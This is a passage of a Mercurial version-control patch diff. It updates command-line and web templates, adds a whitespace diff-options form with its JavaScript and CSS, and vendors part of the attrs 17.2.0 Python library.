 # General templates
-_trouble_label = 'trouble.{trouble}'
-_troubles_labels = '{if(troubles, "changeset.troubled {troubles%_trouble_label}")}'
-_obsolete_label = '{if(obsolete, "changeset.obsolete")}'
-_cset_labels = '{separate(" ", "log.changeset", "changeset.{phase}", "{_obsolete_label}", "{_troubles_labels}")}'
-cset = '{label("{_cset_labels}",
-               "changeset:   {rev}:{node|short}")}\n'
+cset = '{labelcset("changeset:   {rev}:{node|short}")}\n'
+fullcset = '{labelcset("changeset:   {rev}:{node}")}\n'
 
 lphase = '{label("log.phase",
                  "phase:       {phase}")}\n'
 
-fullcset = '{label("{_cset_labels}",
-                   "changeset:   {rev}:{node}")}\n'
-
 parent = '{label("log.parent changeset.{phase}",
                   "parent:      {rev}:{node|formatnode}")}\n'
 
@@ -68,8 +63,8 @@
 ldate = '{label("log.date",
                 "date:        {date|date}")}\n'
 
-ltroubles = '{if(troubles, "{label('log.trouble',
-                                   'trouble:     {join(troubles, ", ")}')}\n")}'
+ltroubles = '{if(instabilities, "{label('log.instability',
+                                   'instability: {join(instabilities, ", ")}')}\n")}'
 
 extra = '{label("ui.debug log.extra",
                 "extra:       {key}={value|stringescape}")}\n'
@@ -80,3 +75,17 @@
                                        '{desc|strip}')}\n\n")}'
 
 status = '{status} {path}\n{if(copy, "  {copy}\n")}'
+
+# Obsfate templates, it would be removed once we introduce the obsfate
+# template fragment
+lobsfate = '{if(obsfate, "{label('log.obsfate', '{obsfate % "obsolete:    {fate}\n"}')}")}'
+
+[templatealias]
+labelcset(expr) = label(separate(" ",
+                                 "log.changeset",
+                                 "changeset.{phase}",
+                                 if(obsolete, "changeset.obsolete"),
+                                 if(instabilities, "changeset.unstable"),
+                                 join(instabilities
+                                      % "instability.{instability}", " ")),
+                        expr)
diff --git a/mercurial/templates/map-cmdline.phases b/mercurial/templates/map-cmdline.phases
--- a/mercurial/templates/map-cmdline.phases
+++ b/mercurial/templates/map-cmdline.phases
@@ -1,3 +1,5 @@
 %include map-cmdline.default
+
+[templates]
 changeset = '{cset}{branches}{bookmarks}{tags}{lphase}{parents}{user}{ldate}{summary}\n'
 changeset_verbose = '{cset}{branches}{bookmarks}{tags}{lphase}{parents}{user}{ldate}{lfiles}{lfile_copies_switch}{description}\n'
diff --git a/mercurial/templates/map-cmdline.show b/mercurial/templates/map-cmdline.show
--- a/mercurial/templates/map-cmdline.show
+++ b/mercurial/templates/map-cmdline.show
@@ -1,14 +1,16 @@
 # TODO there are a few deficiencies in this file:
 # * The "namespace" of the labels needs to be worked out. We currently
 #   piggyback on existing values so color works.
-# * Obsolescence isn't considered for node labels. See _cset_labels in
-#   map-cmdline.default.
-showbookmarks = '{if(active, "*", " ")} {pad(bookmark, longestbookmarklen + 4)}{shortest(node, 5)}\n'
+
+%include map-cmdline.default
+
+[templates]
+showbookmarks = '{if(active, "*", " ")} {pad(bookmark, longestbookmarklen + 4)}{shortest(node, nodelen)}\n'
 
 showwork = '{cset_shortnode}{namespaces % cset_namespace} {cset_shortdesc}'
 showstack = '{showwork}'
 
-cset_shortnode = '{label("log.changeset changeset.{phase}", shortest(node, 5))}'
+cset_shortnode = '{labelcset(shortest(node, nodelen))}'
 
 # Treat branch and tags specially so we don't display "default" or "tip"
 cset_namespace = '{ifeq(namespace, "branches", names_branches, ifeq(namespace, "tags", names_tags, names_others))}'
diff --git a/mercurial/templates/map-cmdline.status b/mercurial/templates/map-cmdline.status
--- a/mercurial/templates/map-cmdline.status
+++ b/mercurial/templates/map-cmdline.status
@@ -1,5 +1,6 @@
 %include map-cmdline.default
 
+[templates]
 # Override base templates
 changeset = '{cset}{branches}{bookmarks}{tags}{parents}{user}{ldate}{summary}{lfiles}\n'
 changeset_verbose = '{cset}{branches}{bookmarks}{tags}{parents}{user}{ldate}{description}{lfiles}\n'
diff --git a/mercurial/templates/map-cmdline.xml b/mercurial/templates/map-cmdline.xml
--- a/mercurial/templates/map-cmdline.xml
+++ b/mercurial/templates/map-cmdline.xml
@@ -1,3 +1,4 @@
+[templates]
 docheader = '<?xml version="1.0"?>\n<log>\n'
 docfooter = '</log>\n'
 
diff --git a/mercurial/templates/paper/fileannotate.tmpl b/mercurial/templates/paper/fileannotate.tmpl
--- a/mercurial/templates/paper/fileannotate.tmpl
+++ b/mercurial/templates/paper/fileannotate.tmpl
@@ -65,6 +65,12 @@
 </tr>
 </table>
 
+{diffoptsform}
+
+<script type="text/javascript"{if(nonce, ' nonce="{nonce}"')}>
+    renderDiffOptsForm();
+</script>
+
 <div class="overflow">
 <table class="bigtable">
 <thead>
diff --git a/mercurial/templates/paper/map b/mercurial/templates/paper/map
--- a/mercurial/templates/paper/map
+++ b/mercurial/templates/paper/map
@@ -251,3 +251,18 @@
   </form>'
 searchhint = 'Find changesets by keywords (author, files, the commit message), revision
   number or hash, or <a href="{url|urlescape}help/revsets">revset expression</a>.'
+
+diffoptsform = '
+  <form id="diffopts-form"
+    data-ignorews="{if(get(diffopts, 'ignorews'), '1', '0')}"
+    data-ignorewsamount="{if(get(diffopts, 'ignorewsamount'), '1', '0')}"
+    data-ignorewseol="{if(get(diffopts, 'ignorewseol'), '1', '0')}"
+    data-ignoreblanklines="{if(get(diffopts, 'ignoreblanklines'), '1', '0')}">
+    <span>Ignore whitespace changes - </span>
+    <span>Everywhere:</span>
+    <input id="ignorews-checkbox" type="checkbox" />
+    <span>Within whitespace:</span>
+    <input id="ignorewsamount-checkbox" type="checkbox" />
+    <span>At end of lines:</span>
+    <input id="ignorewseol-checkbox" type="checkbox" />
+  </form>'
diff --git a/mercurial/templates/static/mercurial.js b/mercurial/templates/static/mercurial.js
--- a/mercurial/templates/static/mercurial.js
+++ b/mercurial/templates/static/mercurial.js
@@ -434,6 +434,56 @@
     scrollHandler();
 }
 
+function renderDiffOptsForm() {
+    // We use URLSearchParams for query string manipulation. Old browsers don't
+    // support this API.
+    if (!("URLSearchParams" in window)) {
+        return;
+    }
+
+    var form = document.getElementById("diffopts-form");
+
+    var KEYS = [
+        "ignorews",
+        "ignorewsamount",
+        "ignorewseol",
+        "ignoreblanklines",
+    ];
+
+    var urlParams = new URLSearchParams(window.location.search);
+
+    function updateAndRefresh(e) {
+        var checkbox = e.target;
+        var name = checkbox.id.substr(0, checkbox.id.indexOf("-"));
+        urlParams.set(name, checkbox.checked ? "1" : "0");
+        window.location.search = urlParams.toString();
+    }
+
+    var allChecked = form.getAttribute("data-ignorews") == "1";
+
+    for (var i = 0; i < KEYS.length; i++) {
+        var key = KEYS[i];
+
+        var checkbox = document.getElementById(key + "-checkbox");
+        if (!checkbox) {
+            continue;
+        }
+
+        currentValue = form.getAttribute("data-" + key);
+        checkbox.checked = currentValue != "0";
+
+        // ignorews implies ignorewsamount and ignorewseol.
+        if (allChecked && (key == "ignorewsamount" || key == "ignorewseol")) {
+            checkbox.checked = true;
+            checkbox.disabled = true;
+        }
+
+        checkbox.addEventListener("change", updateAndRefresh, false);
+    }
+
+    form.style.display = 'block';
+}
+
 document.addEventListener('DOMContentLoaded', function() {
    process_dates();
 }, false);
diff --git a/mercurial/templates/static/style-gitweb.css b/mercurial/templates/static/style-gitweb.css
--- a/mercurial/templates/static/style-gitweb.css
+++ b/mercurial/templates/static/style-gitweb.css
@@ -97,6 +97,12 @@
 }
 div.annotate-info a { color: #0000FF; text-decoration: underline; }
 td.annotate:hover div.annotate-info { display: inline; }
+
+#diffopts-form {
+  padding-left: 8px;
+  display: none;
+}
+
 .linenr { color:#999999; text-decoration:none }
 div.rss_logo { float: right; white-space: nowrap; }
 div.rss_logo a {
diff --git a/mercurial/templates/static/style-paper.css b/mercurial/templates/static/style-paper.css
--- a/mercurial/templates/static/style-paper.css
+++ b/mercurial/templates/static/style-paper.css
@@ -226,6 +226,13 @@
 div.annotate-info a { color: #0000FF; }
 td.annotate:hover div.annotate-info { display: inline; }
 
+#diffopts-form {
+  font-size: smaller;
+  color: #424242;
+  padding-bottom: 10px;
+  display: none;
+}
+
 .source, .sourcefirst {
   font-family: monospace;
   white-space: pre;
diff --git a/mercurial/thirdparty/__init__.py b/mercurial/thirdparty/__init__.py
new file mode 100644
diff --git a/mercurial/thirdparty/attr/LICENSE.txt b/mercurial/thirdparty/attr/LICENSE.txt
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/LICENSE.txt
@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2015 Hynek Schlawack
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/mercurial/thirdparty/attr/__init__.py b/mercurial/thirdparty/attr/__init__.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/__init__.py
@@ -0,0 +1,71 @@
+from __future__ import absolute_import, division, print_function
+
+from ._funcs import (
+    asdict,
+    assoc,
+    astuple,
+    evolve,
+    has,
+)
+from ._make import (
+    Attribute,
+    Factory,
+    NOTHING,
+    attr,
+    attributes,
+    fields,
+    make_class,
+    validate,
+)
+from ._config import (
+    get_run_validators,
+    set_run_validators,
+)
+from . import exceptions
+from . import filters
+from . import converters
+from . import validators
+
+
+__version__ = "17.2.0"
+
+__title__ = "attrs"
+__description__ = "Classes Without Boilerplate"
+__uri__ = "http://www.attrs.org/"
+__doc__ = __description__ + " <" + __uri__ + ">"
+
+__author__ = "Hynek Schlawack"
+__email__ = "hs@ox.cx"
+
+__license__ = "MIT"
+__copyright__ = "Copyright (c) 2015 Hynek Schlawack"
+
+
+s = attrs = attributes
+ib = attrib = attr
+
+__all__ = [
+    "Attribute",
+    "Factory",
+    "NOTHING",
+    "asdict",
+    "assoc",
+    "astuple",
+    "attr",
+    "attrib",
+    "attributes",
+    "attrs",
+    "converters",
+    "evolve",
+    "exceptions",
+    "fields",
+    "filters",
+    "get_run_validators",
+    "has",
+    "ib",
+    "make_class",
+    "s",
+    "set_run_validators",
+    "validate",
+    "validators",
+]
diff --git a/mercurial/thirdparty/attr/_compat.py b/mercurial/thirdparty/attr/_compat.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/_compat.py
@@ -0,0 +1,90 @@
+from __future__ import absolute_import, division, print_function
+
+import sys
+import types
+
+
+PY2 = sys.version_info[0] == 2
+
+
+if PY2:
+    from UserDict import IterableUserDict
+
+    # We 'bundle' isclass instead of using inspect as importing inspect is
+    # fairly expensive (order of 10-15 ms for a modern machine in 2016)
+    def isclass(klass):
+        return isinstance(klass, (type, types.ClassType))
+
+    # TYPE is used in exceptions, repr(int) is different on Python 2 and 3.
+    TYPE = "type"
+
+    def iteritems(d):
+        return d.iteritems()
+
+    def iterkeys(d):
+        return d.iterkeys()
+
+    # Python 2 is bereft of a read-only dict proxy, so we make one!
+    class ReadOnlyDict(IterableUserDict):
+        """
+        Best-effort read-only dict wrapper.
+        """
+
+        def __setitem__(self, key, val):
+            # We gently pretend we're a Python 3 mappingproxy.
+            raise TypeError("'mappingproxy' object does not support item "
+                            "assignment")
+
+        def update(self, _):
+            # We gently pretend we're a Python 3 mappingproxy.
+            raise AttributeError("'mappingproxy' object has no attribute "
+                                 "'update'")
+
+        def __delitem__(self, _):
+            # We gently pretend we're a Python 3 mappingproxy.
+            raise TypeError("'mappingproxy' object does not support item "
+                            "deletion")
+
+        def clear(self):
+            # We gently pretend we're a Python 3 mappingproxy.
+            raise AttributeError("'mappingproxy' object has no attribute "
+                                 "'clear'")
+
+        def pop(self, key, default=None):
+            # We gently pretend we're a Python 3 mappingproxy.
+            raise AttributeError("'mappingproxy' object has no attribute "
+                                 "'pop'")
+
+        def popitem(self):
+            # We gently pretend we're a Python 3 mappingproxy.
+            raise AttributeError("'mappingproxy' object has no attribute "
+                                 "'popitem'")
+
+        def setdefault(self, key, default=None):
+            # We gently pretend we're a Python 3 mappingproxy.
+            raise AttributeError("'mappingproxy' object has no attribute "
+                                 "'setdefault'")
+
+        def __repr__(self):
+            # Override to be identical to the Python 3 version.
+            return "mappingproxy(" + repr(self.data) + ")"
+
+    def metadata_proxy(d):
+        res = ReadOnlyDict()
+        res.data.update(d)  # We blocked update, so we have to do it like this.
+        return res
+
+else:
+    def isclass(klass):
+        return isinstance(klass, type)
+
+    TYPE = "class"
+
+    def iteritems(d):
+        return d.items()
+
+    def iterkeys(d):
+        return d.keys()
+
+    def metadata_proxy(d):
+        return types.MappingProxyType(dict(d))
diff --git a/mercurial/thirdparty/attr/_config.py b/mercurial/thirdparty/attr/_config.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/_config.py
@@ -0,0 +1,23 @@
+from __future__ import absolute_import, division, print_function
+
+
+__all__ = ["set_run_validators", "get_run_validators"]
+
+_run_validators = True
+
+
+def set_run_validators(run):
+    """
+    Set whether or not validators are run.  By default, they are run.
+    """
+    if not isinstance(run, bool):
+        raise TypeError("'run' must be bool.")
+    global _run_validators
+    _run_validators = run
+
+
+def get_run_validators():
+    """
+    Return whether or not validators are run.
+    """
+    return _run_validators
diff --git a/mercurial/thirdparty/attr/_funcs.py b/mercurial/thirdparty/attr/_funcs.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/_funcs.py
@@ -0,0 +1,212 @@
+from __future__ import absolute_import, division, print_function
+
+import copy
+
+from ._compat import iteritems
+from ._make import NOTHING, fields, _obj_setattr
+from .exceptions import AttrsAttributeNotFoundError
+
+
+def asdict(inst, recurse=True, filter=None, dict_factory=dict,
+           retain_collection_types=False):
+    """
+    Return the ``attrs`` attribute values of *inst* as a dict.
+
+    Optionally recurse into other ``attrs``-decorated classes.
+
+    :param inst: Instance of an ``attrs``-decorated class.
+    :param bool recurse: Recurse into classes that are also
+        ``attrs``-decorated.
+    :param callable filter: A callable whose return code deteremines whether an
+        attribute or element is included (``True``) or dropped (``False``).  Is
+        called with the :class:`attr.Attribute` as the first argument and the
+        value as the second argument.
+    :param callable dict_factory: A callable to produce dictionaries from.  For
+        example, to produce ordered dictionaries instead of normal Python
+        dictionaries, pass in ``collections.OrderedDict``.
+    :param bool retain_collection_types: Do not convert to ``list`` when
+        encountering an attribute whose type is ``tuple`` or ``set``.  Only
+        meaningful if ``recurse`` is ``True``.
+
+    :rtype: return type of *dict_factory*
+
+    :raise attr.exceptions.NotAnAttrsClassError: If *cls* is not an ``attrs``
+        class.
+
+    ..  versionadded:: 16.0.0 *dict_factory*
+    ..  versionadded:: 16.1.0 *retain_collection_types*
+    """
+    attrs = fields(inst.__class__)
+    rv = dict_factory()
+    for a in attrs:
+        v = getattr(inst, a.name)
+        if filter is not None and not filter(a, v):
+            continue
+        if recurse is True:
+            if has(v.__class__):
+                rv[a.name] = asdict(v, recurse=True, filter=filter,
+                                    dict_factory=dict_factory)
+            elif isinstance(v, (tuple, list, set)):
+                cf = v.__class__ if retain_collection_types is True else list
+                rv[a.name] = cf([
+                    asdict(i, recurse=True, filter=filter,
+                           dict_factory=dict_factory)
+                    if has(i.__class__) else i
+                    for i in v
+                ])
+            elif isinstance(v, dict):
+                df = dict_factory
+                rv[a.name] = df((
+                    asdict(kk, dict_factory=df) if has(kk.__class__) else kk,
+                    asdict(vv, dict_factory=df) if has(vv.__class__) else vv)
+                    for kk, vv in iteritems(v))
+            else:
+                rv[a.name] = v
+        else:
+            rv[a.name] = v
+    return rv
+
+
+def astuple(inst, recurse=True, filter=None, tuple_factory=tuple,
+            retain_collection_types=False):
+    """
+    Return the ``attrs`` attribute values of *inst* as a tuple.
+
+    Optionally recurse into other ``attrs``-decorated classes.
+
+    :param inst: Instance of an ``attrs``-decorated class.
+    :param bool recurse: Recurse into classes that are also
+        ``attrs``-decorated.
+    :param callable filter: A callable whose return code determines whether an
+        attribute or element is included (``True``) or dropped (``False``).  Is
+        called with the :class:`attr.Attribute` as the first argument and the
+        value as the second argument.
+    :param callable tuple_factory: A callable to produce tuples from.  For
+        example, to produce lists instead of tuples.
+    :param bool retain_collection_types: Do not convert to ``list``
+        or ``dict`` when encountering an attribute which type is
+        ``tuple``, ``dict`` or ``set``.  Only meaningful if ``recurse`` is
+        ``True``.
+
+    :rtype: return type of *tuple_factory*
+
+    :raise attr.exceptions.NotAnAttrsClassError: If *cls* is not an ``attrs``
+        class.
+
+    ..  versionadded:: 16.2.0
+    """
+    attrs = fields(inst.__class__)
+    rv = []
+    retain = retain_collection_types  # Very long. :/
+    for a in attrs:
+        v = getattr(inst, a.name)
+        if filter is not None and not filter(a, v):
+            continue
+        if recurse is True:
+            if has(v.__class__):
+                rv.append(astuple(v, recurse=True, filter=filter,
+                                  tuple_factory=tuple_factory,
+                                  retain_collection_types=retain))
+            elif isinstance(v, (tuple, list, set)):
+                cf = v.__class__ if retain is True else list
+                rv.append(cf([
+                    astuple(j, recurse=True, filter=filter,
+                            tuple_factory=tuple_factory,
+                            retain_collection_types=retain)
+                    if has(j.__class__) else j
+                    for j in v
+                ]))
+            elif isinstance(v, dict):
+                df = v.__class__ if retain is True else dict
+                rv.append(df(
+                        (
+                            astuple(
+                                kk,
+                                tuple_factory=tuple_factory,
+                                retain_collection_types=retain
+                            ) if has(kk.__class__) else kk,
+                            astuple(
+                                vv,
+                                tuple_factory=tuple_factory,
+                                retain_collection_types=retain
+                            ) if has(vv.__class__) else vv
+                        )
+                        for kk, vv in iteritems(v)))
+            else:
+                rv.append(v)
+        else:
+            rv.append(v)
+    return rv if tuple_factory is list else tuple_factory(rv)
+
+
+def has(cls):
+    """
+    Check whether *cls* is a class with ``attrs`` attributes.
+
+    :param type cls: Class to introspect.
+    :raise TypeError: If *cls* is not a class.
+
+    :rtype: :class:`bool`
+    """
+    return getattr(cls, "__attrs_attrs__", None) is not None
+
+
+def assoc(inst, **changes):
+    """
+    Copy *inst* and apply *changes*.
+
+    :param inst: Instance of a class with ``attrs`` attributes.
+    :param changes: Keyword changes in the new copy.
+
+    :return: A copy of inst with *changes* incorporated.
+
+    :raise attr.exceptions.AttrsAttributeNotFoundError: If *attr_name* couldn't
+        be found on *cls*.
+    :raise attr.exceptions.NotAnAttrsClassError: If *cls* is not an ``attrs``
+        class.
+
+    ..  deprecated:: 17.1.0
+        Use :func:`evolve` instead.
+    """
+    import warnings
+    warnings.warn("assoc is deprecated and will be removed after 2018/01.",
+                  DeprecationWarning)
+    new = copy.copy(inst)
+    attrs = fields(inst.__class__)
+    for k, v in iteritems(changes):
+        a = getattr(attrs, k, NOTHING)
+        if a is NOTHING:
+            raise AttrsAttributeNotFoundError(
+                "{k} is not an attrs attribute on {cl}."
+                .format(k=k, cl=new.__class__)
+            )
+        _obj_setattr(new, k, v)
+    return new
+
+
+def evolve(inst, **changes):
+    """
+    Create a new instance, based on *inst* with *changes* applied.
+
+    :param inst: Instance of a class with ``attrs`` attributes.
+    :param changes: Keyword changes in the new copy.
+
+    :return: A copy of inst with *changes* incorporated.
+
+    :raise TypeError: If *attr_name* couldn't be found in the class
+        ``__init__``.
+    :raise attr.exceptions.NotAnAttrsClassError: If *cls* is not an ``attrs``
+        class.
+
+    ..  versionadded:: 17.1.0
+    """
+    cls = inst.__class__
+    attrs = fields(cls)
+    for a in attrs:
+        if not a.init:
+            continue
+        attr_name = a.name  # To deal with private attributes.
+        init_name = attr_name if attr_name[0] != "_" else attr_name[1:]
+        if init_name not in changes:
+            changes[init_name] = getattr(inst, attr_name)
+    return cls(**changes)
diff --git a/mercurial/thirdparty/attr/_make.py b/mercurial/thirdparty/attr/_make.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/_make.py
@@ -0,0 +1,1059 @@
+from __future__ import absolute_import, division, print_function
+
+import hashlib
+import linecache
+
+from operator import itemgetter
+
+from . import _config
+from ._compat import PY2, iteritems, isclass, iterkeys, metadata_proxy
+from .exceptions import (
+    DefaultAlreadySetError,
+    FrozenInstanceError,
+    NotAnAttrsClassError,
+)
+
+
+# This is used at least twice, so cache it here.
+_obj_setattr = object.__setattr__
+_init_convert_pat = "__attr_convert_{}"
+_init_factory_pat = "__attr_factory_{}"
+_tuple_property_pat = "    {attr_name} = property(itemgetter({index}))"
+_empty_metadata_singleton = metadata_proxy({})
+
+
+class _Nothing(object):
+    """
+    Sentinel class to indicate the lack of a value when ``None`` is ambiguous.
+
+    All instances of `_Nothing` are equal.
+    """
+    def __copy__(self):
+        return self
+
+    def __deepcopy__(self, _):
+        return self
+
+    def __eq__(self, other):
+        return other.__class__ == _Nothing
+
+    def __ne__(self, other):
+        return not self == other
+
+    def __repr__(self):
+        return "NOTHING"
+
+    def __hash__(self):
+        return 0xdeadbeef
+
+
+NOTHING = _Nothing()
+"""
+Sentinel to indicate the lack of a value when ``None`` is ambiguous.
+"""
+
+
+def attr(default=NOTHING, validator=None,
+         repr=True, cmp=True, hash=None, init=True,
+         convert=None, metadata={}):
+    """
+    Create a new attribute on a class.
+
+    ..  warning::
+
+        Does *not* do anything unless the class is also decorated with
+        :func:`attr.s`!
+
+    :param default: A value that is used if an ``attrs``-generated ``__init__``
+        is used and no value is passed while instantiating or the attribute is
+        excluded using ``init=False``.
+
+        If the value is an instance of :class:`Factory`, its callable will be
+        used to construct a new value (useful for mutable datatypes like lists
+        or dicts).
+
+        If a default is not set (or set manually to ``attr.NOTHING``), a value
+        *must* be supplied when instantiating; otherwise a :exc:`TypeError`
+        will be raised.
+
+        The default can also be set using decorator notation as shown below.
+
+    :type default: Any value.
+
+    :param validator: :func:`callable` that is called by ``attrs``-generated
+        ``__init__`` methods after the instance has been initialized.  They
+        receive the initialized instance, the :class:`Attribute`, and the
+        passed value.
+
+        The return value is *not* inspected so the validator has to throw an
+        exception itself.
+
+        If a ``list`` is passed, its items are treated as validators and must
+        all pass.
+
+        Validators can be globally disabled and re-enabled using
+        :func:`get_run_validators`.
+
+        The validator can also be set using decorator notation as shown below.
+
+    :type validator: ``callable`` or a ``list`` of ``callable``\ s.
+
+    :param bool repr: Include this attribute in the generated ``__repr__``
+        method.
+    :param bool cmp: Include this attribute in the generated comparison methods
+        (``__eq__`` et al).
+    :param hash: Include this attribute in the generated ``__hash__``
+        method.  If ``None`` (default), mirror *cmp*'s value.  This is the
+        correct behavior according the Python spec.  Setting this value to
+        anything else than ``None`` is *discouraged*.
+    :type hash: ``bool`` or ``None``
+    :param bool init: Include this attribute in the generated ``__init__``
+        method.  It is possible to set this to ``False`` and set a default
+        value.  In that case this attributed is unconditionally initialized
+        with the specified default value or factory.
+    :param callable convert: :func:`callable` that is called by
+        ``attrs``-generated ``__init__`` methods to convert attribute's value
+        to the desired format.  It is given the passed-in value, and the
+        returned value will be used as the new value of the attribute.  The
+        value is converted before being passed to the validator, if any.
+    :param metadata: An arbitrary mapping, to be used by third-party
+        components.  See :ref:`extending_metadata`.
+
+    ..  versionchanged:: 17.1.0 *validator* can be a ``list`` now.
+    ..  versionchanged:: 17.1.0
+        *hash* is ``None`` and therefore mirrors *cmp* by default .
+    """
+    if hash is not None and hash is not True and hash is not False:
+        raise TypeError(
+            "Invalid value for hash.  Must be True, False, or None."
+        )
+    return _CountingAttr(
+        default=default,
+        validator=validator,
+        repr=repr,
+        cmp=cmp,
+        hash=hash,
+        init=init,
+        convert=convert,
+        metadata=metadata,
+    )
+
+
+def _make_attr_tuple_class(cls_name, attr_names):
+    """
+    Create a tuple subclass to hold `Attribute`s for an `attrs` class.
+
+    The subclass is a bare tuple with properties for names.
+
+    class MyClassAttributes(tuple):
+        __slots__ = ()
+        x = property(itemgetter(0))
+    """
+    attr_class_name = "{}Attributes".format(cls_name)
+    attr_class_template = [
+        "class {}(tuple):".format(attr_class_name),
+        "    __slots__ = ()",
+    ]
+    if attr_names:
+        for i, attr_name in enumerate(attr_names):
+            attr_class_template.append(_tuple_property_pat.format(
+                index=i,
+                attr_name=attr_name,
+            ))
+    else:
+        attr_class_template.append("    pass")
+    globs = {"itemgetter": itemgetter}
+    eval(compile("\n".join(attr_class_template), "", "exec"), globs)
+    return globs[attr_class_name]
+
+
+def _transform_attrs(cls, these):
+    """
+    Transforms all `_CountingAttr`s on a class into `Attribute`s and saves the
+    list in `__attrs_attrs__`.
+
+    If *these* is passed, use that and don't look for them on the class.
+    """
+    super_cls = []
+    for c in reversed(cls.__mro__[1:-1]):
+        sub_attrs = getattr(c, "__attrs_attrs__", None)
+        if sub_attrs is not None:
+            super_cls.extend(a for a in sub_attrs if a not in super_cls)
+    if these is None:
+        ca_list = [(name, attr)
+                   for name, attr
+                   in cls.__dict__.items()
+                   if isinstance(attr, _CountingAttr)]
+    else:
+        ca_list = [(name, ca)
+                   for name, ca
+                   in iteritems(these)]
+
+    non_super_attrs = [
+        Attribute.from_counting_attr(name=attr_name, ca=ca)
+        for attr_name, ca
+        in sorted(ca_list, key=lambda e: e[1].counter)
+    ]
+    attr_names = [a.name for a in super_cls + non_super_attrs]
+
+    AttrsClass = _make_attr_tuple_class(cls.__name__, attr_names)
+
+    cls.__attrs_attrs__ = AttrsClass(super_cls + [
+        Attribute.from_counting_attr(name=attr_name, ca=ca)
+        for attr_name, ca
+        in sorted(ca_list, key=lambda e: e[1].counter)
+    ])
+
+    had_default = False
+    for a in cls.__attrs_attrs__:
+        if these is None and a not in super_cls:
+            setattr(cls, a.name, a)
+        if had_default is True and a.default is NOTHING and a.init is True:
+            raise ValueError(
+                "No mandatory attributes allowed after an attribute with a "
+                "default value or factory.  Attribute in question: {a!r}"
+                .format(a=a)
+            )
+        elif had_default is False and \
+                a.default is not NOTHING and \
+                a.init is not False:
+            had_default = True
+
+
+def _frozen_setattrs(self, name, value):
+    """
+    Attached to frozen classes as __setattr__.
+    """
+    raise FrozenInstanceError()
+
+
+def _frozen_delattrs(self, name):
+    """
+    Attached to frozen classes as __delattr__.
+    """
+    raise FrozenInstanceError()
+
+
+def attributes(maybe_cls=None, these=None, repr_ns=None,
+               repr=True, cmp=True, hash=None, init=True,
+               slots=False, frozen=False, str=False):
+    r"""
+    A class decorator that adds `dunder
+    <https://wiki.python.org/moin/DunderAlias>`_\ -methods according to the
+    specified attributes using :func:`attr.ib` or the *these* argument.
+
+    :param these: A dictionary of name to :func:`attr.ib` mappings.  This is
+        useful to avoid the definition of your attributes within the class body
+        because you can't (e.g. if you want to add ``__repr__`` methods to
+        Django models) or don't want to.
+
+        If *these* is not ``None``, ``attrs`` will *not* search the class body
+        for attributes.
+
+    :type these: :class:`dict` of :class:`str` to :func:`attr.ib`
+
+    :param str repr_ns: When using nested classes, there's no way in Python 2
+        to automatically detect that.  Therefore it's possible to set the
+        namespace explicitly for a more meaningful ``repr`` output.
+    :param bool repr: Create a ``__repr__`` method with a human readable
+        represantation of ``attrs`` attributes..
+    :param bool str: Create a ``__str__`` method that is identical to
+        ``__repr__``.  This is usually not necessary except for
+        :class:`Exception`\ s.
+    :param bool cmp: Create ``__eq__``, ``__ne__``, ``__lt__``, ``__le__``,
+        ``__gt__``, and ``__ge__`` methods that compare the class as if it were
+        a tuple of its ``attrs`` attributes.  But the attributes are *only*
+        compared, if the type of both classes is *identical*!
+    :param hash: If ``None`` (default), the ``__hash__`` method is generated
+        according how *cmp* and *frozen* are set.
+
+        1. If *both* are True, ``attrs`` will generate a ``__hash__`` for you.
+        2. If *cmp* is True and *frozen* is False, ``__hash__`` will be set to
+           None, marking it unhashable (which it is).
+        3. If *cmp* is False, ``__hash__`` will be left untouched meaning the
+           ``__hash__`` method of the superclass will be used (if superclass is
+           ``object``, this means it will fall back to id-based hashing.).
+
+        Although not recommended, you can decide for yourself and force
+        ``attrs`` to create one (e.g. if the class is immutable even though you
+        didn't freeze it programmatically) by passing ``True`` or not.  Both of
+        these cases are rather special and should be used carefully.
+
+        See the `Python documentation \
+        <https://docs.python.org/3/reference/datamodel.html#object.__hash__>`_
+        and the `GitHub issue that led to the default behavior \
+        <https://github.com/python-attrs/attrs/issues/136>`_ for more details.
+    :type hash: ``bool`` or ``None``
+    :param bool init: Create a ``__init__`` method that initialiazes the
+        ``attrs`` attributes.  Leading underscores are stripped for the
+        argument name.  If a ``__attrs_post_init__`` method exists on the
+        class, it will be called after the class is fully initialized.
+    :param bool slots: Create a slots_-style class that's more
+        memory-efficient.  See :ref:`slots` for further ramifications.
+    :param bool frozen: Make instances immutable after initialization.  If
+        someone attempts to modify a frozen instance,
+        :exc:`attr.exceptions.FrozenInstanceError` is raised.
+
+        Please note:
+
+            1. This is achieved by installing a custom ``__setattr__`` method
+               on your class so you can't implement an own one.
+
+            2. True immutability is impossible in Python.
+
+            3. This *does* have a minor a runtime performance :ref:`impact
+               <how-frozen>` when initializing new instances.  In other words:
+               ``__init__`` is slightly slower with ``frozen=True``.
+
+            4. If a class is frozen, you cannot modify ``self`` in
+               ``__attrs_post_init__`` or a self-written ``__init__``. You can
+               circumvent that limitation by using
+               ``object.__setattr__(self, "attribute_name", value)``.
+
+        ..  _slots: https://docs.python.org/3.5/reference/datamodel.html#slots
+
+    ..  versionadded:: 16.0.0 *slots*
